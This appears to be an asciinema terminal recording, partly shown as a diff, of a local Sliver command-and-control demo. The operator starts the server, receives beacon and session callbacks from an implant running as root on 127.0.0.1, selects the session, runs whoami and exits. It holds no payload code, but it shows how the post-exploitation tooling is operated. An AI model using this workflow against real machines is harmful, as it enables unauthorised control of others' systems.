[20.290085, "o", "\u001b[1m Interval: \u001b[0m15s\r\n\u001b[1m Jitter: \u001b[0m30s\r\n\u001b[1m First Contact: \u001b[0mWed May 1 19:04:33 UTC 2024 (12s ago)\r\n\u001b[1m Last Checkin: \u001b[0mWed May 1 19:04:34 UTC 2024 (11s ago)\r\n"]
[20.29096, "o", "\u001b[1m Next Checkin: \u001b[0m\u001b[1m\u001b[32mWed May 1 19:05:04 UTC 2024 (in 19s)\u001b[0m\r\n"]
[20.29207, "o", "\r\n"]
[20.306548, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[20.30802, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[20.309864, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[49.886721, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession d761c1c5 CONTINUING_DOWNTOWN - 127.0.0.1:60532 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 19:05:14 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[49.889466, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[49.889807, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[53.019212, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.028493, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[53.030468, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[53.076648, "o", "\u001b[?25l"]
[53.077358, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.080118, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[53.206433, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.209767, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[53.273992, "o", "\u001b[?25l"]
[53.275967, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.279402, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[53.432538, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.436394, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[53.436558, "o", "\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
[53.479687, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.483212, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[53.483611, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
[53.522649, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[53.523931, "o", "\u001b[6n"]
[53.526806, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[53.527532, "o", "\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
[53.632377, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.643176, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C\u001b[?25h"]
[53.721129, "o", "\u001b[?25l"]
[53.723732, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[53.731187, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[53.732263, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[40D\u001b[31C\u001b[107D\u001b[40C\u001b[?25h"]
[54.10233, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[54.111554, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[31C\u001b[107D\u001b[41C\u001b[?25h"]
[54.300203, "o", "\u001b[41D\u001b[31C\u001b[6n"]
[54.315441, "o", "\u001b[107D\u001b[41C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[54.346452, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n"]
[54.347833, "o", "\r\n"]
[54.359048, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[54.359301, "o", "\u001b[1 q\u001b[?25l"]
[54.35975, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[54.361463, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[54.362218, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[54.798195, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[54.813297, "o", "s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[54.888739, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[54.888945, "o", "\u001b[6n"]
[54.890465, "o", "se\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[54.890967, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[55.057905, "o", "\u001b[?25l\u001b[107D"]
[55.059519, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[55.065726, "o", "ses\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[55.270376, "o", "\u001b[1 q"]
[55.300588, "o", "\u001b[1 q"]
[55.300983, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[55.304519, "o", "\u001b[1m\u001b[32msessions \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[18D\u001b[9C\u001b[107D\u001b[18C\u001b[?25h"]
[55.508945, "o", "\u001b[18D\u001b[9C\u001b[6n"]
[55.520436, "o", "\u001b[107D\u001b[18C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[55.554794, "o", " ID Transport Remote Address Hostname Username Operating System Health \r\n========== =========== ================= ============== ========== ================== =========\r\n \u001b[0md761c1c5\u001b[0m \u001b[0mhttp(s)\u001b[0m \u001b[0m127.0.0.1:60532\u001b[0m \u001b[0m98df0494f659\u001b[0m \u001b[0mroot\u001b[0m \u001b[0mlinux/amd64\u001b[0m \u001b[1m\u001b[32m[ALIVE]\u001b[0m \r\n"]
[55.555094, "o", "\r\n"]
[55.566649, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[55.566788, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[55.568515, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[55.568938, "o", "\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[56.05909, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[56.060174, "o", "\u001b[6n"]
[56.063406, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[56.064209, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[56.173214, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[56.178309, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[56.230544, "o", "\u001b[?25l"]
[56.231217, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[56.232528, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[56.417403, "o", "\u001b[12D"]
[56.430372, "o", "\u001b[9C\u001b[6n"]
[56.433219, "o", "\u001b[107D\u001b[12C\u001b[0J\u001b[107D"]
[56.435212, "o", "\r\r\n\u001b[0 q\r\n"]
[56.457793, "o", "\u001b7\u001b[?25l\u001b8\u001b[0G\u001b[2K"]
[56.459779, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
[56.460412, "o", "\u001b[1A"]
[56.461294, "o", "\u001b[0G\u001b[1A\u001b[0G"]
[57.368136, "o", "\u001b8"]
[57.369636, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[57.372223, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;1;36m> BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
[57.373112, "o", "\u001b[1A\u001b[0G"]
[57.709284, "o", "\u001b8\u001b[0G"]
[57.712666, "o", "\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[57.715117, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[58.046505, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CONTINUING_DOWNTOWN (d761c1c5-a50f-402e-9988-eacfdc3f5d76)\r\n"]
[58.081455, "o", "\r\n"]
[58.097304, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[58.098031, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[58.098116, "o", "\u001b[6n"]
[58.100344, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[58.101043, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[59.00066, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[59.008232, "o", "w\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[59.009408, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[59.034482, "o", "\u001b[?25l\u001b[107D"]
[59.035378, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[59.038567, "o", "wh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[59.039195, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[59.081608, "o", "\u001b[?25l\u001b[107D"]
[59.081798, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[59.084025, "o", "who\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[59.254427, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[59.266619, "o", "whoa\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[59.267906, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[59.325631, "o", "\u001b[?25l"]
[59.326094, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[59.331266, "o", "whoam\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
[59.377568, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[59.383107, "o", "\u001b[1m\u001b[32mwhoami\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
[59.588329, "o", "\u001b[37D\u001b[31C\u001b[6n"]
[59.597529, "o", "\u001b[107D\u001b[37C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[59.610221, "o", "Logon ID: "]
[59.611299, "o", "root\r\n\r\n"]
[59.629554, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[59.629747, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[59.631833, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[61.017297, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[61.026385, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[61.02663, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[61.068058, "o", "\u001b[?25l"]
[61.068722, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[61.071242, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[61.135517, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[61.136446, "o", "\u001b[6n"]
[61.13851, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[61.240549, "o", "\u001b[?25l\u001b[107D"]
[61.241615, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[61.245107, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[61.392645, "o", "\u001b[?25l\u001b[107D"]
[61.393455, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[61.3964, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[61.397066, "o", "\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
[61.446084, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[61.453962, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
[61.463207, "o", "\u001b[?25l\u001b[107D"]
[61.463456, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[61.466118, "o", "backgro\u001b[0m\u001b[0K\u001b[49m"]
[61.466614, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
[61.529749, "o", "\u001b[?25l"]
[61.530447, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[61.533051, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C"]
[61.533581, "o", "\u001b[?25h"]
[61.583812, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[61.584318, "o", "\u001b[6n"]
[61.587406, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[61.58796, "o", "\u001b[107D\u001b[1A\u001b[40D\u001b[31C\u001b[107D\u001b[40C\u001b[?25h"]
[61.649163, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[61.655788, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[31C\u001b[107D\u001b[41C\u001b[?25h"]
[61.783388, "o", "\u001b[41D\u001b[31C\u001b[6n"]
[61.78635, "o", "\u001b[107D\u001b[41C\u001b[0J\u001b[107D\r\r\n"]
[61.787211, "o", "\u001b[0 q\r\n"]
[61.810475, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
[61.821059, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[61.821285, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[61.823176, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[62.090512, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.101672, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[62.103105, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[62.241817, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.249322, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[62.359108, "o", "\u001b[?25l"]
[62.36363, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.370148, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[62.370341, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[62.472172, "o", "\u001b[?25l"]
[62.474138, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[62.481703, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[62.483223, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
[62.559049, "o", "\u001b[13D\u001b[9C"]
[62.559802, "o", "\u001b[6n"]
[62.561967, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
[62.563209, "o", "\u001b[0 q\r\n"]
[62.575201, "o", "Exiting...\r\n"]
[62.590297, "o", "\u001b[?2004hroot@98df0494f659:~# "]
[63.849189, "o", "e"]
[64.004011, "o", "x"]
[64.092826, "o", "i"]
[64.22418, "o", "t"]
[64.365779, "o", "\r\n"]
[64.376672, "o", "\u001b[?2004l\rexit\r\n"]
@@ -0,0 +1,438 @@
{"version": 2, "width": 107, "height": 52, "timestamp": 1714589964, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
[0.140524, "o", "\u001b[?2004h"]
[0.148443, "o", "root@98df0494f659:~# "]
[1.092972, "o", "."]
[1.102658, "o", "/"]
[1.244956, "o", "s"]
[1.384103, "o", "l"]
[1.451221, "o", "i"]
[1.566295, "o", "v"]
[1.65714, "o", "e"]
[1.781979, "o", "r"]
[1.875798, "o", "-"]
[2.012557, "o", "s"]
[2.054748, "o", "e"]
[2.12507, "o", "r"]
[2.314928, "o", "v"]
[2.433486, "o", "e"]
[2.51908, "o", "r"]
[2.592513, "o", "\r\n"]
[2.593653, "o", "\u001b[?2004l\r"]
[3.68766, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\nAll hackers gain infect\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
[3.691324, "o", "\r\n"]
[3.71693, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[3.719317, "o", "\u001b[1 q"]
[3.720852, "o", "\u001b[?25l"]
[3.720936, "o", "\u001b[107D"]
[3.721661, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[3.723556, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[3.724116, "o", "\r\r\n"]
[3.724702, "o", "\u001b[0K"]
[3.725093, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[5.058535, "o", "\u001b[9D\u001b[9C"]
[5.058773, "o", "\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon 1c2fd3e4 CONTINUING_DOWNTOWN - 127.0.0.1:60476 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 18:59:29 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.061131, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D"]
[5.061739, "o", "\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[6.880052, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.892592, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
[6.894748, "o", "\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[6.986727, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.994765, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[7.089687, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.092, "o", "\u001b[6n"]
[7.101323, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[7.222552, "o", "\u001b[?25l"]
[7.22397, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.231476, "o", "\u001b[1m\u001b[32muse \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.232508, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
